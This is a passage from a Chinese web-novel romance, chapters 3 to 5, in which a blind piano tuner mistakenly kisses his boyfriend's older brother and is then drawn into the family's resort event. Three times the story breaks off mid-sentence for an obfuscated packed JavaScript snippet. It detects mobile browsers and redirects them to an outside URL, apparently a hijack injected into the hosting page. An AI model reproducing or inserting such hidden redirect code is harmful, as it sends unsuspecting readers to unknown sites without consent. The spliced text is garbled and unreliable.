《错亲男友哥哥之后》 3. 第 3 章 许昭宁到底是婉拒了老太太的邀请,他告诉老人自己家里还有人等着,不方便留下来吃饭。 老太太只好作罢。 期间老太太的学生就站在一旁聆听,没怎么开口。 直到许昭宁被带着向外走,对方站在了他的身旁。 空气中似乎有熟悉的气味一闪而过,室外太空旷,他没能捕捉到。 对方说话时,倒是让他愣了愣。 “我老师早年丁克,中年丧夫,一生未再嫁,”男人解释,“老人独居久了,平时能说话的人不多,只有我们一些学生偶尔来陪陪她,见到有眼缘的难免想多说两句话,你多见谅。” 和裴翊的声音……好像。 但是细听又没那么像,裴翊的语气上扬,永远都是很开朗有活力的样子,而这个声音很沉稳,中气足。 和裴翊的哥哥也挺像,但又没裴翊哥哥那么冷淡。 他说话的声音很温和。 “怎么?”男人见他发愣,询问,“如果我老师还说了些让你不舒服的话,我待她道个歉。” 许昭宁回神,连忙摇头,“没,这个奶奶很好。” 说话间,他没注意,脚下一滑。 男人的手伸出,牢牢攥住他的胳膊。 他的手比老人的掌心还热,没有那么多老茧,一只手就能将他的胳膊圈住。 “小心,昨天下了雨,路还比较滑。” 将许昭宁扶稳后,他绅士地缩回手,“抱歉,冒昧了。” 被攥过的肌肤,很快红了一圈。 裴昼隐的视线落在那片脆弱的地方。 许昭宁很瘦。 不是那种干柴的瘦,而是被雪白丰盈的肉填充起来的匀称,他每一块肉都长到了该长的地方,从他的脸、肩膀、腰,甚至于隐秘的地方,都像是被精雕细琢过。 盲人因为看不见,导致穿错衣服被嘲笑的窘境应该不会发生在他身上。 因为没人能舍得嘲笑他。 他最有可能遭受到的就是视线暴力。 然而他又浑然不觉。 真幸运。 许昭宁红了脸,不好意思道:“谢、谢谢。” “不客气,”裴昼隐将他送到门口,“需要我为你找盲道吗?” 许昭宁对这个地方不熟,男人的礼貌让他放下了防备,“麻烦了。” 男人轻轻越过他,在他左前方半步停下,弯起手臂,手肘轻抬至腰部,手掌朝向内侧。 许昭宁诧异于他的专业。 他遇见过很多好心人,不过很多人热心过了头,有的直接扶着他走,有的去拿他的盲杖。 男人笑了笑,“以前参加一些公益活动学过,知识不怎么复习生疏了不少,流程应该还算标准?” 这是个好人。 许昭宁在心里偷偷给他贴了个标签。 风吹过,带着身边人的气味,许昭宁又一次闻到了熟悉的香,淡淡的青柚薄荷。 他心中有疑惑,却没表现出来。 男人站在原地,目送他越走越远,直到他上了公交车。 * 老人谈完一首曲子,连连赞叹,“那个小许调琴有一手,我感觉比其他人调的都好听。” 裴昼隐笑着道:“在我这种臭商人的耳朵里,没什么差别,还是老师有这个闲情逸致。” “毕竟我不像你这么年轻了,”老人叹了口气,“人老了,就要学会享受生活。” 她从琴凳上起来,瞥了裴昼隐一眼,“又忙了大半年?” “差不多。” “哎,”她叹了口气,“虽然你年轻,但最好还是劳逸结合,要记得休息,人如果一直像一根弦一样绷着,怎么可能不出问题呢?” 裴昼隐道:“是,谢老师叮嘱。” 两人从琴房,穿过客厅,边走边聊。 老师又问:“你也快三十了,就没想过找个伴?” 找个伴? 不知道为什么,裴昼隐的脑海中闪过他弟弟找的那个瞎子对象,和刚刚的那个瞎子调琴师。 接着,他啼笑皆非地摇头,这都哪跟哪。 “您也知道我家里的情况,”裴昼隐道,“那么多人虎视眈眈,如果结婚,估计我也会选对我有益的结婚对象。” 老师不赞同道:“你啊。” 她最知道她这个学生。 看似绅士平和,实则……与外表大相径庭。 * 裴翊的电话打不通了。 许昭宁没回裴翊的公寓,想和他说一声,结果打了两三个电话,那边也没接。 这种情况还挺少见。 两人刚认识时,裴翊刚上大学,每天闲得很,就算是上课时不能打电话,也必定要给许昭宁发消息骚扰,疯狂刷存在感。 恋爱后,就算是许昭宁不查岗,他也时时刻刻报备,就差把许昭宁栓裤腰带上。 果然还是生气了? 可如果生气的话,早晨又为什么给他留那张纸条?为什么事无巨细地叮嘱他? 朋友听说后,分析道:“会不会他那张纸条就是用生气的语气留的,只不过你没有读出来?” 许昭宁哪知道。 那张纸条已经魂归垃圾桶了。 “这毕竟是你们第一次吵架,”朋友说,“每个人生气的方式不一样,有的人喜欢冷战,有的人喜欢装作若无其事,然后偷偷生气,没准裴翊是喜欢偷偷生气的那种?” 许昭宁道:“忽然觉得他变得有点陌生。” 不过也正常,每个人都有很多面,情绪能让一个熟悉的人也变得不认识。 “乖乖,”朋友说,“你都跟人家说那种话了,还不许人家生气?” 许昭宁道:“我说的话,很过分?我以为个人想法不同,总该沟通沟通。” “不管你想什么都合理,恋人之间也是应该沟通,”朋友说,“但是对于一个想和你认真发展的人来说,很扎心,不合情。” 这下轮到许昭宁反思了。 诚然裴翊拽着他去见家长,见家长的过程也不是很愉快。 但当初是他答应的。 诚然裴翊想和他结婚,而他不想。 但这能怪一个一头载入爱河中的人吗? 他知道他不会为了那张结婚证而改变什么,可裴翊不这么想,他没有安全感。 这么一想,昨夜的矛盾倒显得幼稚模糊起来。 过一会再打个电话。 如果裴翊还不接,他就过去找裴翊吧。 …… 天气又开始变得阴暗。 许昭宁从出租车上下来,一路摸索着往公寓的方向走。 从他的住处过来并不容易,他住的地方是城中村,坐公交车起码两个小时,打一趟出租也有小一百块钱。 公寓里很安静,许昭宁输入密码进去时,安静到像是没有人。 他叫了两声:“裴翊?” 没人回答他。 空气中,那股陌生的气味又一次变浓,许昭宁闻了一天,几乎要和这个气味相处熟悉。 他把盲杖放在门口,换鞋时,在不该有鞋的地方踩到了一双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521121|170726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞋。 怎么回事? 裴翊很照顾他,公寓里的东西轻易不会挪动,就算是挪动,每次也会跟他交代清楚。 许昭宁的心沉了下来,一时间甚至没敢确认这是男鞋还是女鞋。 客厅里踢到了一个易拉罐,捡起来,上面有残留的啤酒味。 他终于摸到了裴翊的卧室,敲了敲门。 “裴翊?” 里面似乎有什么东西落在了地上。 接着,脚步声传来。 许昭宁紧张到屏住呼吸,听见了门打开的声音。 他低着头,小声问:“你喝酒了?” 说完这句话,他的鼻子有些酸。 他对裴翊还是喜欢的。 因为有感情,所以觉得愧疚,感觉到心疼。 还有点不易察觉的委屈。 对方没说话,只能听见沉默的呼吸。 许昭宁上前,轻轻抱住了他。 情绪的起伏,让他一时间没发现,他抱住的人身高不对,比他高了大半头还多。 而且,对方在被他抱住的一瞬间,身体僵硬得像块石头。 身高相似但不对。 “对不起,”许昭宁闷闷道,“我昨天不该说那些话。” 对方推了他一下,“你先等……” 声音相似但还是不对。 他的头埋在男人的颈部,耳边嗡嗡作响,比男人的心跳更剧烈的,是他的呼吸,他从未有过如此羞耻的时刻,很多时候,都是裴翊主动。 ……这是他能想出来的讨好方式。 男人猛地偏过头。 吻本该落在他的唇角,却堪堪落在对方滚动紧绷的喉结。 随后,像是忍无可忍,比平常更低沉一点的声音询问:“你是谁?到底想干什么?” 声音裹着几分冷意,推开他的力度毫不留情。 许昭宁踉跄一下,狂躁鼓动的呼吸有刹那间的停滞。 “宁宁?”另一道诧异的声音插进来,“你和我哥在干嘛?” 许昭宁扶着墙,僵在原地。 “什么?” 与此同时,裴昼隐也终于看清了他的面貌。 屋内陷入一片死寂。 裴翊最状况外,也最先反应过来,上前扶住许昭宁,“宁宁?你没事吧?摔着了吗?” 在他伸手时,许昭宁出于后怕,瑟缩了一下。 这害怕的反应,把裴翊心疼得不轻,对着裴昼隐抱怨道:“哥,你干什么推他啊,他眼睛看不见,万一推倒了出事怎么办?” 许昭宁攥住他的领口,像是蜜袋鼬幼崽找到了妈妈,迅速蜷缩进他的怀里。 裴翊抱着他,窝囊了一天的火气彷佛终于有了发泄的出口。 对着亲哥,也敢发脾气了,“我知道你们都不喜欢他,也不喜欢我们在一起,但动手就不好了吧?哥,我一直把你当榜——” 许昭宁张嘴,想解释:“不是,我刚刚把他认错了……” “——什么?”裴翊猛地刹车。 裴昼隐彷佛没有看见亲弟弟的叛逆。 他的视线落在蜷缩着的许昭宁身上。 不同于白天的平静。 许昭宁脸上布满了闯祸的彷徨,一张雪白的脸已经涨红,亲过人的嘴唇更是红得滴血,被他牙齿重重咬着。 看不见,所以视线乱飘。 ——可怜极了。 原来他就是裴翊的小男朋友。 他说呢,天底下怎么能有这么巧的事情。 一天内撞见两个盲人。 4. 第 4 章 “认、认错了?”裴翊结巴了几下,随后佯装训斥,“我哥有洁癖,怪不得推你。” 许昭宁低着头,咬唇不语。 实际上,如果现在有个地缝给他钻的话,他一定毫不犹豫地钻进去。 裴翊还想说两句。 裴昼隐的视线慢悠悠落在他的身上,裴翊没读懂里面的情绪,却下意识闭嘴。 “一场荒谬的误会,”裴昼隐下了评语,“真有意思。” 隔着一层门板时,许昭宁还没切身的体会到他的嘴毒。 面对面——尤其是他刚刚做完错事,几乎不知道该怎么和裴昼隐对话。 好在,裴昼隐似乎也不在乎他这个“弟媳”。 在两人面前,他慢条斯理地整了整领口。 领口还是被许昭宁给弄乱的。 许昭宁听见衣服窸窸窣窣的动静,耳朵更红。 整理完毕后,裴昼隐掠过两人。 封闭空间,更浓重的香味从他身上散发出来,轻轻扫过许昭宁的鼻尖,他越发觉得熟悉,更觉得怪异。 客厅里的易拉罐,被裴昼隐轻轻踢了一脚。 “老师说你眼盲心不盲,”易拉罐的声音哐当哐当,掩盖了裴昼隐自嘲的轻哼,“不过如此。” 许昭宁怔住。 他的眼睫颤动,迷茫之中有种恍然大悟的紧张,不等他说什么,裴昼隐已经开门扬长而去。 “什么老师?”裴翊困惑不已,“什么意思,你们之前见过?” 许昭宁回神,还是难以把白天遇见的绅士,和裴翊的哥哥联系起来。 这人对待外人,和对待家里人……或许仅仅只是对他有意见,完全是两种面孔。 “我、我去调琴,”许昭宁简单交代了一下,“遇见你哥了。” “真的?这么巧?”裴翊也震惊。 许昭宁无意和他聊工作相关的话题,裴翊是个音痴,很多时候两人都是鸡同鸭讲。 他质问裴翊为什么不接电话。 家里的事情,裴翊更加不知道该怎么和许昭宁解释。 最终,还是按照许昭宁的那套说辞,说他今天心情不好,喝酒喝得有点多,然后被他哥捡回家,两人在家里聊了聊,期间没顾得上看手机。 两人都没心情再聊下去。 裴翊道:“对了,我们家之后可能要组办一个活动,我需要跟着去参加。” 许昭宁还没意识到什么,“好。” 裴翊的状态还是有些沮丧,“可能有两三天不能见面。” 许昭宁倒是没觉得有什么。 之前他的工作要是忙起来,或者裴翊在学校没放假,他们也是经常两三天不见面。 “其实,”裴翊道,“如果我把你带去的话,也不是不行。” 他们家里组建的这种活动,通常没多少外人,都是一些熟悉的亲朋好友。 假如上次许昭宁过了他父母那关,其实完全可以跟着过去,他的发小上一次就带着女朋友去了。 可惜的是,他父母并不想他带着许昭宁。 如果先斩后奏呢? 裴翊在心里思考这个可能性。 感情都是需要培养的,尤其与爱情无关的感情,换一种角度,如果许昭宁和他父母相处久了,他父母了解了许昭宁的人品,知道许昭宁并不是那种爱慕虚荣的人,不仅长得好看,还很有才华,是不是对许昭宁的接受度能高一点? 可许昭宁未必能愿意。 果然,许昭宁道:“你们家里的活动,就不要拉上我了。” 话虽如此。 裴翊却还是在心里酝酿主意。 许昭宁并不知他心中所想,今天的一切都让他疲于应对。 * 几天后。 当许昭宁被裴翊忽悠着坐上出租车,司机将他放在一个荒无人烟的地方时,他终于意识到自己上当。 更气人的是,裴翊的手机还打不通。 初夏的天气,已经能感受到炎热,许昭宁用盲杖试探到一个阴凉的角落,像一朵蔫头耷脑的蘑菇,迷茫地蹲着。 当手机里又一次传来“您好,您所拨打的电话正在通话中”时,许昭宁没好气地将手机扔在地上。 也就只能拿这些无辜的物品撒气了。 期间有几辆车经过,许昭宁侧耳倾听,没听出什么有用的信息。 他连裴翊想把他骗这里来杀人抛尸的可能性都想了。 司机透过后倒镜,小心翼翼观察后座上的雇主。 半个小时前,他们刚到这里,后座上的人就简单明了地让他把车停在路边。 正对着的,是一个蹲在路边的人。 由司机的眼光来看……一个男人,着实没什么好看,但如果换成个女的,长相确实不俗。 雇主一直没有下一步指令,只是盯着人家看。 不知又过去多久,许昭宁出现了口渴的意思。 他的手指无意义地点着手机屏幕,听着手机盲人模式下的播报提醒。 一道脚步声毫无预兆地停在他身边。 随后,一瓶带着凉气的水,贴在许昭宁的手背。 “水。” 柳暗花明,许昭宁的眼睛亮了一下,随后便是充满后怕的小脾气,“裴翊,你最好给我解释清楚,到底为什么骗我来这里……” 他说这话时,眉毛不自觉地紧蹙,既是生气,也是对恋人的娇嗔。 “我是裴昼隐。”裴昼隐道。 许昭宁的表情凝滞。 裴昼隐询问:“裴翊约你来这里的?” 许昭宁对着裴昼隐,态度一下子变得拘谨,“哦,你、你好,是的。” 他也不知道该叫他什么。 这甚至是他第一次听见裴昼隐这个名字。 尽管是第一次听说,可是他迅速的把这个名字,和前几天接触的那个表里不一的“绅士”对上了号,清楚的知道这是裴翊的哥哥。 “别再往后退了,”裴昼隐淡淡道,“你身后是个水渠,再往后三步,你今天应该就能上新闻了。” 接着,他一顿,“我也不太想进水渠游泳。” 许昭宁僵住。 他说这地方怎么这么凉快。 裴昼隐问:“裴翊呢?” 许昭宁乖乖道:“不知道。” 裴昼隐陷入了沉默。 许昭宁因为无措,眼珠在眼眶内乱飘,手握紧了盲杖。 明明是夏天,他单薄的身体却总让人误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521122|170726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为他冷,彷佛一阵夏风就能将他吹倒。 他不知道裴昼隐的视线正落在他的脸上,凝视着他。 “再往前几十米的地方,是裴家新来的度假庄园,”裴昼隐盯着他,“好心”解释,“大概十几分钟后,裴家邀请的人会到齐,一起进行剪彩,然后在庄园里进行体验。” 许昭宁听着他的话,慢慢明了,裴翊把他叫过来的目的。 裴昼隐问:“你要进去吗?” ……这话什么意思? 许昭宁知道,裴昼隐不喜欢他,裴家人都不喜欢他,没人希望他参加裴家的活动。 搞不好,裴昼隐可能还以为,是他故意让裴翊把他带来的。 故意到他的面前来演戏。 根据那天在公寓里,裴昼隐对他不屑的态度,很难不让人这么想。 “别误会,来者是客,”裴昼隐转身,“裴家没有那么粗俗,把客人扫地出门。” 裴昼隐上前走了两句,许昭宁还在原地踌躇。 这次,裴昼隐没有“规范性”引路的意思。 他的视线好整以暇地在许昭宁的盲杖、手腕、直至他的双眼,扫视了一圈。 “直走十米,在你十二点钟方向,有个盲道。” 许昭宁咽了咽口水,跟着盲道的指示走。 “再往左拐,就是接待处。” 裴昼隐不紧不慢,站在他的旁边。 他没有触碰许昭宁的意思,只是用语言来告诉他怎么走。 好在他的指示还算精确,许昭宁有惊无险的走到了该走的地方。 如果没有上一次,许昭宁可能以为,裴昼隐就是这样一个人,有洁癖,不爱和人接触。 他可能还会因为裴昼隐的引导,再一次往他身上贴“好人”标签。 但有过一次的对比,许昭宁知道,裴昼隐对待陌生的盲人还是有耐心的,这极有可能是上次他认错了人…… 又想找地缝了。 死去的记忆总是攻击他。 前台不知是否职业素质欠佳,并未认出少东家,看见裴昼隐和许昭宁一起出现,最先询问的竟然是许昭宁这个盲人。 “您好先生,请问是要办理入住吗?是否需要我的帮忙?” 一时间,许昭宁茫然无措。 他下意识求助裴昼隐,却因为弄不清他的位置,扭过去的头和裴昼隐所在的位置有轻微的错位。 裴昼隐没有出声纠正,反倒故意似的,“问你呢,你要办理入住吗?” 许昭宁不可思议地睁大双眼。 原来,裴昼隐让他进来,并不是把他带去裴家人面前的意思? 这时,裴昼隐的助理似乎跟了过来。 许昭宁精准地听见了助理和前台的谈话,也是有意思,前台不认识裴昼隐,却认识裴昼隐的助理,在得知裴昼隐是少东家后,好一阵手忙脚乱。 前台连连道歉,将三人请进去。 裴昼隐与许昭宁擦肩而过,淡淡一笑,“开个玩笑,王助理,给许先生带路。” 许昭宁站在原地,攥住盲杖的手泛白。 他后知后觉到裴昼隐的戏弄,并为此敢怒不敢言。 只好在心里默默诅咒他,下个路口被摔个大马趴。 5.第 5 章 庄园内,人声鼎沸,小孩的尖叫不绝于耳。 裴翊就站在葡萄架后面,听着他妈训话,几乎要把毕生的修养都给扔掉。 “我怎么就生了你这么个儿子?”他妈妈说,“你为什么就不能学学你哥?上个学而已,把你的初心都给上没了?你以前不是总爱把你哥当成榜样吗?为什么你哥愿意为了家族娶亲,你却找了一个瞎子来气我?” “还把他带到这种场合来!” 不知道是不是这段时间挨骂多了。 裴翊心里毫无波澜,甚至还有闲心,用余光在场地里寻找许昭宁的身影。 看见许昭宁被人围着,心急如焚想过去。 时间回到几分钟前。 许昭宁被裴昼隐堂而皇之的带了进来。 所有人的视线都落在了两人身上。 裴昼隐已经很久没在公众场合出面,都知道他出国,但是没人知道他回来。 除了他出面的震惊——更多人是好奇他身边的许昭宁。 许昭宁不走路时,安安静静站着,没人把他往残疾人的方向想,可是当他动起来,盲人的身份便像是打喷嚏、咳嗽、和爱情,一点也瞒不住。 他能听见窃窃私语的议论。 彼时裴翊正在忙着招待宾客,裴家夫妇却在看见许昭宁的瞬间,就黑了脸。 裴母率先凑了上去。 裴昼隐对待母亲时,和对待许昭宁又是另一种嘴脸,语气冷淡,但是尊敬。 “怎么回事?”裴母低声问。 裴昼隐言简意赅,“路上遇见,就带了过来。” 裴母瞬间就明白了怎么回事,气得想把小儿子立刻拽来。 裴昼隐没有再解释更多的意思。 刚刚许昭宁还愤怒于他的戏弄,然而在面对裴家人时,裴昼隐却成了他唯一能依赖的人。 他不知道裴母的眼神在他身上扫视,却能感受到不友好的氛围。 裴昼隐看着他低头可怜的模样,莫名叹了口气。 裴母愤怒地走掉了。 裴昼隐道:“我带你去休息的地方。” 许昭宁握紧盲杖,“不用麻烦了,我想知道裴翊在哪?” 裴翊把他哄来的,也该是裴翊负责。 而且,裴翊才是他男朋友。 裴昼隐道:“在受训,一时半会应该是顾不着你。” 许昭宁:“……” 最终,他又一次接受了裴昼隐的帮助,坐在了一个陌生的环境里。 …… 有人凑到了许昭宁的身边。 “哎,”说话的人是个男生,许昭宁听着他的声音,确认不认识,“你是看不见吗?” 许昭宁并没有因为对方的直接而生气,反问:“还不够明显?” “对不起,我就是好奇问问,”男生道,“之前从来没见过裴哥带着人来。” 这话让许昭宁不知道该怎么接。 同时,他也明白了对方的来意。 男生打量着许昭宁。 这世上总有一些人,好看到不需要外物的雕饰,哪怕有些许的残缺,但是也不会让人觉得丑陋。 甚至还会心生想法—— 圈子里没人知道裴昼隐的性取向。 裴昼隐的感情史瞒得紧,扒不出来,国外有没有过不清楚,在国内是没听说过什么苗头。 但这并不代表裴昼隐没有魅力,相反,他像是狼群里的一块肉,盯着的人不少。 “你们刚刚站一起,没有冒犯的意思,我只是觉得你们很搭,像是一对。” 许昭宁震了一震。 他和裴昼隐? 都说有钱人开放,诚不欺人。 但该如何去解释,他是他弟弟的男朋友呢? “我……”许昭宁道,“我和他不是那种关系。” 而是一种更为复杂的关系。 复杂到他一时间不知道该怎么解释。 “是吗?”对方笑了笑,语气充满试探,“不是这种关系,那能是什么关系?” 微妙的恶意被裹在试探中。 这时,许昭宁终于听见了裴翊的声音。 “宁宁!” 许昭宁如释重负,彷佛在海浪中终于扒住了属于他的浮木。 裴翊毫不避讳,搂住许昭宁的肩膀,对着男生道:“你今天也来了?怎么没去找我哥?” 对方似乎有些尴尬,也可能是在打量,沉默了片刻。 “这是你……?” “哦,他是我对象,”裴翊大大方方介绍,“正好让你们认识一下,宁宁,这个是我表弟池听,今天不是家庭聚餐吗,来的都是熟人。” 对方如释重负地笑了,“对,你也可以直接叫我名字。” 许昭宁友好地打了个招呼。 裴翊自然道:“我们还有点事想说。” 池听也识趣,立刻道:“好,我正好找裴哥有点事。” 待人走远了,裴翊立刻检查许昭宁,“对不起我该死,我一进来手机就交给佣人了,他没告诉我有人打电话,怎么着,没吓到吧?” 没了外人,许昭宁甩开了他的手,有些冷淡,“你对我撒谎。” “我……”裴翊一时间语塞,也不知道该怎么解释,“对不起,我要是不骗你,你也不可能过来嘛。” “那你也不能骗我。” 裴翊见他真的生气,一时间还真觉得哄他有点棘手。 “那个池听,”裴翊转移了话题,“他爱我哥爱到痴狂,在我哥屁股后面追了很久,对我哥身边一切适龄男女都有敌意。” 许昭宁没搭腔。 “不过,”裴翊观察他的神情,“他知道你是我男朋友,就不会针对你了,你要是无聊,可以和他说话。” 许昭宁问:“你又要走?” “我也没有办法,”裴翊哭丧着脸,“谁知道我爸妈这次抽什么风,之前这种活动根本用不着我……” 许昭宁不说话。 裴翊讨好道:“不过,我妈已经被气走了,今天没人敢找你麻烦,你就当出来度假了?这个庄园设计的还挺好玩。” 远远地,有人叫了裴翊一声。 裴翊仓促之前安抚了一下许昭宁,随后离开。 池听又一次凑了过来,“我就说裴哥不可能下凡,不过你居然是裴翊的男朋友?” 许昭宁心情不好,回话也敷衍,“嗯。” 接触了误会,对方对他热情了不少,解释道:“我没别的意思,只是裴翊平时表现得挺像个直男,我没想到他也是gay。” “也?” “那个,”池听语气有点不好意思,“我也是。” 许昭宁生无可恋,叹了一口长气。 这人话怎么这么多。 * “哎,裴哥!” 池听在裴昼隐想走之前拦住了他。 裴昼隐的脚步一顿。 池听在看见他的瞬间,眼睛就黏在了他的身上,他自己没有意识到眼神的冒犯,裴昼隐却隐秘地皱了下眉。 他和裴翊是两种类型的帅哥。 裴翊没心眼,天天傻乐,过于阳光,不是池听的菜。 他喜欢的是裴昼隐这样的。 池听的视线忍不住下滑。 窄腰宽肩,一看就很极品,腰应该也非常有劲儿,听说裴昼隐常常泡在健身室里,他没见过裴昼隐的身体,但笃定他肯定有腹肌。 那里估计也很大…… “什么事?”裴昼隐维持着良好的修养。 池听回神,连忙道:“没什么重要的,就是我们刚刚商量了一下,打算一会去后山的温泉池,你平时工作够忙了,不如跟我们去放松放松?” 司马昭之心路人皆知。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526192|170726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴昼隐礼貌回绝,“不必了。” “啊,这样,”池听有些失落,低下头,还是不甘心和裴昼隐就这样结束话题,“对了,没想到裴翊有了男朋友,我还一直以为他性取向是女生呢。” 其实是试探裴昼隐的态度。 暗戳戳的。 裴昼隐滴水不漏,“我和裴翊虽然是家人,不过对彼此的隐私并不过问。” “哦哦,这样,”池听尬笑,“我要是有裴哥这样的哥就好了,很尊重家人。” 裴昼隐不耐,“你还有什么事情?” 池听敢悄悄赶走裴昼隐的追求者,对于裴昼隐本人,却一点也不敢越界。 把人得罪了,他也不用活了。 “没了,”池听后退两步,给裴昼隐让出路,“其实是裴翊让我问的……” 意思是,他过来是裴翊的主意。 谁知,听见这话,裴翊倒是没急着走,反问:“裴翊?” “对啊,”池听点头如蒜捣,“应该是这次带着男朋友过来,想让你把把关?” 想要拿下裴昼隐,他的弟弟,自然也是池听讨好的对象。 裴昼隐启唇,平静的眼眸似乎有什么涌动。 “无聊。” 接着,大步流星离去。 * 下午,夕阳西下。 温泉的蒸汽打在脸上,潮湿粘腻,许昭宁裹着一张单薄的浴巾,像个玩偶手办,坐在岸边。 他还在生闷气。 裴翊这个大傻子,两人的争执像是被他抛之脑后,完全忘却。在忙碌了一天后,已经率先下了温泉。 “宁宁,真的很舒服,你不下来试试吗?” 许昭宁不语。 裴翊摸不着头脑——可能他也没有这玩意儿,凑过来,暧昧道:“不用害臊,我开的私汤,这里就我们两个人。” 许昭宁气不打一处来,并且深刻认识到:和裴翊计较,恐怕先气死的是他。 在许昭宁想开口时,裴翊已经率先对他发起围攻…… 他朝着许昭宁泼了一点水。 水溅在脸上的瞬间,许昭宁懵了。 “裴翊!” “哈哈!” 裴翊笑开了花,长臂伸出,攥住许昭宁纤细的脚踝,腻歪道:“反正你也湿了,下来嘛……” 这时,敲门声响起。 裴翊一怔。 温泉都是露天,没有什么门,只有蜿蜒曲折的小路,还有遮挡板。 抬头望去,果然看见一个人站在遮挡板旁边,神情略有尴尬。 是池听。 裴翊不悦道:“你干什么?” 任哪对小情侣嬉闹时被打断,都会不高兴。 “那、那个,”池听也尴尬死了,幸亏没让他撞见什么不该看的,“我就是想过来问问你们,我在隔壁组了个局,想着昭宁第一次来,不如过去玩一下,认认人?” 裴翊的怒气消散。 圈子里的人消息互通,社交无法避免,这对许昭宁有好处。 裴翊征求他意见,“去吗?” 许昭宁现在不想和他待一起,撇过头,“嗯。” …… 一行人没走多久,就在隔壁。 开门时,许昭宁半躲在裴翊身后,牵着他的衣角,走进去没几步,忽然听见裴翊诧异的声音。 “哥?!” 许昭宁僵住。 身上的浴巾,蓦地变得有些衣不蔽体的局促。 裴昼隐的余光从许昭宁的身上扫过,随后,与裴翊对视。 奇怪的是,只是一眼,许昭宁的模样已经在他脑海中固定。 脸不知是被温泉还是什么东西——熏红了,一双眼睛迷惘无神,固定在空中某个虚无的点,裹进了身上的浴巾。 浴巾之下,两条细白的腿。 脚踝有红痕。